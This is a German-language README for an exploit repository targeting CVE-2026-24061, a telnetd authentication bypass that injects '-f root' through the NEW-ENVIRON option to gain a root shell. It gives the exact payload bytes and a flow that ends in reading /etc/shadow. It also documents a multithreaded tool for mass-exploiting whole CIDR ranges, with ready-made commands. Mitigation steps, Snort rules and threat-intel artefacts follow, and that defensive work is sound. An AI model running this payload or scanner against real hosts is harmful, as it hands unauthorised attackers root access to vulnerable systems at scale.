
GNU InetUtils telnetd – Nicht authentifizierter Remote-Root-Zugriff über NEW-ENVIRON-Variableninjektion.
GNU InetUtils telnetd - Nicht authentifizierter Remote-Root-Zugriff durch NEW-ENVIRON-Variableninjektion
Überblick - Technische Analyse - Betroffene Versionen - Verwendung - Behebung und Gegenmaßnahmen - Referenzen
CVE-2026-24061 ist eine kritische Authentifizierungs-Bypass-Schwachstelle im telnetd-Daemon, der als Teil von GNU InetUtils ausgeliefert wird. Der Fehler liegt in der Verarbeitung der Telnet-Option NEW-ENVIRON (RFC 1572) während des anfänglichen Protokoll-Handshakes.
Die Grundursache ist eine fehlende Bereinigung der vom Client gelieferten Umgebungsvariablen, bevor diese an das Programm übergeben werden. Wenn der Telnet-Daemon ein -Sub-Negotiation-Paket mit der Variablen und dem Wert empfängt, übergibt er diesen unbereinigten Wert direkt an das System--Binary.
login(1)NEW-ENVIRON ISUSER-f rootloginAuf Systemen, auf denen login das Flag -f akzeptiert (erzwungener Login ohne Passwortprüfung), führt dies dazu, dass dem entfernten Angreifer eine nicht authentifizierte Root-Sitzung gewährt wird.
Diese Schwachstellenklasse hat historische Präzedenzfälle: CVE-2001-0797 in SysV telnetd und der bekannte Linux-telnetd--f-Bypass von 1994 nutzten denselben grundlegenden Fehler aus: die fehlende Bereinigung von umgebungsbasierten Argumenten, die an privilegierte Binaries übergeben werden.
Keine Anmeldeinformationen erforderlich. Kein vorheriger Zugriff nötig. Eine einzige Netzwerkpaketsequenz führt zu Root.
GNU InetUtils telnetd verarbeitet die NEW-ENVIRON-Sub-Negotiation (Optionscode 0x27, gemäß RFC 1572), um vom Client gelieferte Umgebungsvariablen zu sammeln. Diese Variablen werden zu einem Argumentvektor zusammengesetzt und beim Starten von login(1) an execve(2) übergeben.
Die Schwachstelle wird wie folgt ausgelöst:
IAC DO NEW-ENVIRON und fordert damit Umgebungsvariablen vom Client an.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd konstruiert den login-Aufruf als login -f root.login(1) interpretiert -f als „Login erzwingen, Authentifizierung überspringen" und meldet den angegebenen Benutzer (root) ohne Passwortabfrage an.| Schritt | Richtung | Telnet-Bytes (hex) | Bedeutung |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root funktioniertDas login(1)-Binary auf vielen Linux-Systemen akzeptiert das Flag -f <user> für „vorauthentifizierte" Logins, das historisch von Terminal-Multiplexern und rlogin verwendet wurde. Wenn telnetd seinen exec-Aufruf aufbaut und es versäumt, führende Bindestriche zu entfernen oder optionsähnliche Zeichenfolgen in Umgebungsvariablenwerten zu validieren, übergibt es unbeabsichtigt vom Angreifer kontrollierte Flags direkt an login.
Der effektive Aufruf wird zu:
execve("/bin/login", ["login", "-f", "root"], envp);
Angreifer Verwundbarer telnetd (Port 23)
| |
|------- TCP SYN (Port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet-Banner + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd ruft auf: login -f root] |
| |
|<------ Root-Shell-Eingabeaufforderung (#) --------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow-Inhalt -------|
Voraussetzungen:
telnetd (TCP/23 offen)inetutilslogin(1)-Binary unterstützt das Flag -f (Standard auf den meisten Linux-Distributionen)| Software | Betroffene Versionen | Status |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (spezifische gepatchte Version noch offen) | Verwundbar |
| Distributionen mit nicht gepatchtem GNU inetutils | Verschiedene | Herstellerhinweis prüfen |
Prüfen Sie, ob Ihre Distribution eine gepatchte Version ausliefert. Viele moderne Systeme haben Telnet standardmäßig deaktiviert; die Gefährdung erfordert einen explizit laufenden
telnetd.
| Metrik | Wert |
|---|---|
| CVSS v3.1 Basis-Score | 9.8 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Scope | Unverändert |
| Vertraulichkeitsauswirkung | Hoch |
| Integritätsauswirkung | Hoch |
| Verfügbarkeitsauswirkung | Hoch |
| Vektor-String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK-ID | Taktik | Technik | Relevanz |
|---|---|---|---|
| T1190 | Initialer Zugriff | Ausnutzung öffentlich zugänglicher Anwendungen | Direkte Ausnutzung von telnetd über das Netzwerk |
| T1059 | Ausführung | Befehls- und Skriptinterpreter | Shell-Ausführung nach der Ausnutzung |
| T1078.004 | Privilegienerweiterung / Umgehung der Verteidigung | Gültige Konten: Lokale Konten | Authentifizierungs-Bypass führt zu einer gültigen Root-Sitzung |
| T1548 | Privilegienerweiterung | Missbrauch von Erhöhungs-Kontrollmechanismen | login -f-Flag wird missbraucht, um PAM/Authentifizierung zu umgehen |
| T1046 | Entdeckung | Netzwerkdienst-Entdeckung | Massen-Scan-Komponente des PoC |
Anforderungen: Python 3 (nur Standardbibliothek, null externe Abhängigkeiten).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
Kein pip install erforderlich. Beide Skripte verwenden nur die Python-Standardbibliothek.
poc_cve_2026_24061.py # Einfacher PoC (~100 Zeilen) - die Schwachstelle verstehen
cve_2026_24061.py # Industrialisierter Exploit - multithreaded, CIDR, CSV/JSON-Export
scripts/
generate_signatures.py # Automatische Generierung von Snort/Suricata + Sigma-Regeln aus der Nutzlast
generate_misp_event.py # Generierung eines MISP-importierbaren Ereignis-JSON
generate_stix_bundle.py # Generierung eines STIX 2.1-Bundles (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Snort/Suricata-Erkennungsregeln (automatisch generiert)
sigma.yml # Sigma-Regel für SIEM (automatisch generiert)
indicators/
misp_event.json # MISP-Ereignis - Import über Ereignisse > Ereignis hinzufügen > Import
stix_bundle.json # STIX 2.1-Bundle - 11 Objekte (Vuln, Indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: Minimal, lesbar, lehrreich. Ein Ziel, eine Funktion, null Abstraktion. Lesen Sie dies, um genau zu verstehen, wie die Schwachstelle auf Protokollebene funktioniert.cve_2026_24061.py: Industrialisierter Exploit für Penetrationstest-Einsätze. Multithreaded, unterstützt CIDR-Bereiche, Dateieingabe, CSV/JSON-Export, Quiet-Modus, benutzerdefinierte Benutzer.Nutzen Sie einen einzelnen Host aus. Der Code ist bewusst minimal gehalten, sodass Sie ihn von oben nach unten lesen und die gesamte Angriffskette verstehen können.
# Grundlegende Verwendung
python3 poc_cve_2026_24061.py 192.168.1.100
# Benutzerdefinierter Port
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| Parameter | Standard | Beschreibung |
|---|---|---|
-t / --target | - | Einzelne IP, Hostname oder CIDR-Bereich |
-f / --file | - | Datei mit IPs/CIDRs (eine pro Zeile, #-Kommentare) |
-T / --threads | 10 | Anzahl der gleichzeitigen Threads |
-p / --port | 23 | Ziel-Telnet-Port |
--timeout | 5 | Socket-Timeout in Sekunden |
--user | root | Benutzername für die -f-Nutzlast |
-o / --output | - | Ergebnisse in CSV-Datei exportieren |
--json | - | Ergebnisse in JSON-Datei exportieren |
-q / --quiet | aus | Quiet-Modus: nur verwundbare Ziele ausgeben (eine pro Zeile) |
--no-color | aus | ANSI-Farbausgabe deaktivieren |
| Status | Bedeutung |
|---|---|
[VULN] | Host als verwundbar bestätigt - Root-Shell erhalten |
[SAFE] | Host hat geantwortet, aber die Authentifizierung wurde nicht umgangen |
[CLOS] | Port geschlossen oder Verbindung abgelehnt |
[ERR ] | Socket- oder Protokollfehler während des Scans |
CSV-Ausgabespalten: ip:port, status, message
Das Skript implementiert die vollständige Telnet-NEW-ENVIRON-Negotiation-Zustandsmaschine nativ in Python, ohne auf externe Telnet-Bibliotheken zurückzugreifen:
IAC-Befehlssequenzen und antwortet auf DO NEW-ENVIRON mit WILL NEW-ENVIRON.SB NEW-ENVIRON SEND-Sub-Negotiation überträgt es die injizierte Nutzlast (USER = "-f root").uid=0(root) oder einer Shell-Eingabeaufforderung (#), in Abwesenheit von Login incorrect oder Password:.id\n und prüft auf uid=0(root) in der Antwort als sekundäre Bestätigung.Ergebnisse werden mit farbcodierten Statusbezeichnungen auf stdout protokolliert. Optionaler CSV-Export erfasst alle Befunde für die Nachbearbeitung.
Telnet vollständig deaktivieren. Telnet überträgt alle Daten im Klartext. Ersetzen Sie es durch SSH.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
Hersteller-Patch anwenden. Installieren Sie die gepatchte Version von inetutils von Ihrer Distribution, sobald sie verfügbar ist.
TCP/23 an der Perimeter-Firewall blockieren. Wenden Sie Firewall-Regeln an, um eingehende Telnet-Verbindungen zu verweigern.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| Kontrolle | Beschreibung |
|---|---|
| Netzwerksegmentierung | Telnet auf isolierte Verwaltungsnetzwerke beschränken, wenn es nicht deaktiviert werden kann |
| PAM-Härtung | PAM-Konfiguration überprüfen; -f-Vorauthentifizierung deaktivieren, wo sie von login.defs nicht benötigt wird |
| IDS/IPS-Signaturen | NEW-ENVIRON IS VAR USER VALUE -f-Muster im Telnet-Verkehr erkennen |
| Audit-Protokollierung | auth.log / secure auf unerwartete Root-Logins über login überwachen |
| Schwachstellen-Scanning | Authentifizierte Scans (OpenVAS, Nessus) durchführen, um nicht gepatchtes inetutils zu identifizieren |
Snort/Suricata-Regelgerüst zur Erkennung des Exploits während der Übertragung:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root Exploit-Versuch";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
Dieses Repository enthält vorgefertigte Threat-Intelligence-Artefakte, die direkt in Ihren SOC/CTI-Stack importiert werden können. Sie werden automatisch von CI aus der tatsächlichen Exploit-Nutzlast generiert - wenn sich die Nutzlast ändert, aktualisieren sich die Artefakte.
Importieren Sie indicators/misp_event.json direkt in jede MISP-Instanz:
Ereignisse > Ereignis hinzufügen > Import von... > JSON
Das Ereignis enthält: CVE-ID, CVSS-Vektor, Snort-Signatur, Nutzlast-Hex, MITRE ATT&CK-Tags (T1190, T1548, T1059), CPE und externe Referenzen.
Importieren Sie indicators/stix_bundle.json in OpenCTI, TAXII-Server oder jeden STIX-2.1-Konsumenten.
Das Bundle enthält 11 Objekte: Vulnerability, Indicator (Netzwerkmuster), 3 Attack Patterns (MITRE), Course of Action (Behebung), Identity und Relationships, die diese verbinden.
Vorgefertigte Regeln in signatures/:
snort.rules - 3 Snort/Suricata-Regeln (Exploit-Versuch, generische -f-Injektion, Root-Shell nach der Ausnutzung)sigma.yml - Sigma-Regel für SIEM-KorrelationWenn Sie die Exploit-Nutzlast ändern, generieren Sie alle Artefakte neu:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
Dieses Tool wird ausschließlich für autorisierte Sicherheitsaudits, akademische Forschung und Bildungszwecke bereitgestellt. Die Verwendung gegen Systeme ohne ausdrückliche schriftliche Genehmigung des Systemeigentümers ist nach geltenden Gesetzen zu Computerbetrug und -missbrauch illegal (einschließlich, aber nicht beschränkt auf CFAA, Computer Misuse Act und gleichwertige Gesetzgebung). Der Autor übernimmt keine Haftung für unbefugte oder böswillige Nutzung.